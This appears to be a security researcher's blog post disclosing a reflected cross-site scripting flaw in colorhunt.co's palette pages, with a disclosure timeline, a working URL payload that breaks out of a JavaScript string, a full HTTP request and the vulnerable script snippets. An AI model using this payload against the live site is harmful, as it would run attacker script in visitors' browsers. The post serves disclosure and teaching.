In this post, I’ll describe a DOM based reflective cross-site scripting vulnerability I disclosed to colorhunt.co back on June 5th. While the application owner was appreciative of the disclosure, they stated they were already aware of the vulnerability and had no plans to mitigate the risks. I offered to wait for public disclosure until a patch had been issued, and provided several mitigation strategies which could reduce the impact of the vulnerability, ultimately publishing this disclosure in late August.

Index

⏱ Disclosure Timeline

I attempt to find a security contact at colorhunt.co, could not do so, and contacted team@colorhunt.co and product developer hello@galshir.com
5 June 2021
I recieve response hello@galshir.com requesting the disclosure details
5 June 2021
I provide a complete disclosure report
6 June 2021
Colorhunt product developer states they were aware of the vulnerability
7 June 2021
I state I'll will wait for public disclsure until fix is live
9 June 2021
I do not recieve a response from previous email, and email again stating my desire to publish early July or wait longer if a patch will be published
30 June 2021
I do not hear back from product developer and publish the disclosure
25 Aug 2021

Executive Summary

On June 5th, I discovered a reflected cross-site (xss) scripting vulnerability in colorhunt.co via the pallet type selection. Malicious users can inject arbitrary javascript directly into two script elements by appending a crafted payload to the end of the pallet name in the resource /palettes/[term]. This vulnerability can be used to spread malicious links that execute client-side code in victim browsers. It is recommended that colorhunt triage this vulnerability as soon as possible, and implement validation and sanitization measures.

Proof of Concept:

To demonstrate the vulnerability, I created a few proof of concept exploits. Notice that any payload will execute if placed after /pallets/, and the use of pallet terms like ‘trendy’ is not necessary. Performing a GET request with the following urls will result in an alert box executing.

Payload: trendy%22;alert('xss');var%20foo%20=%20%22foo

GET /palettes/trendy%22;alert('xss');var%20foo%20=%20%22foo HTTP/2
Host: colorhunt.co
Cookie: _ga=GA1.2.899449749.1622947948; _gid=GA1.2.309200134.1622947949; __gads=ID=e1e1623e28567740-22296d5a887a004b:T=1622947948:RT=1622947948:S=ALNI_MayH-wZSN2DBrZpy709ubLpdffneA
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

Exploitability

Below is a quick sample scenario that shows how this vulnerability can be exploited

Attacker sends targeted smishing message to victim

Vitim recieves message and opens link

Payload executes in vicitm browser

Vulnerable Components

I’ve identified the following component as the root cause of the reflected XSS vulnerability.

Vulnerable Component 1

The script element near line 193 of https://colorhunt.co/palettes/trendy takes the pallet type name ( in this case “trendy”) and injects it into the tags variable. To exploit this, the payload above closes the tags variable, injects an arbitrary javascript function (in the below example, to log to the console), and then declares a new variable to close out the payload.

<script>
var tags = "trendy";console.log('foo');var foo = "foo";
var sort = "new";
$('#sort_menu new').addClass("selected");

t = 0;
step = 0;
oktoload = "yes";

if(navigator.userAgent.toLowerCase().indexOf('firefox') > -1){
  $('#likes .list').css('overflow','hidden');
}

$(function() {
  taker(step,sort,tags);
  list_likes();
  select_sort_button(sort);
  setTimeout(function() { like_first_palette_tip(); }, 1500);
});
</script>

Vulnerable Component 2:

The script element near line 222 of https://colorhunt.co/palettes/trendy takes the pallet type name ( in this case “trendy”) and injects it into the current variable. To exploit this, the payload above closes the tags variable, injects an arbitrary javascript function (in the below example, to log to the console), and then declares a new variable to close out the payload.

<script type="text/javascript">

$(function() {
  current = "palettes";
  tags = "trendy";alert('abc123');var foo = "foo";
  select_menu_button(current);
});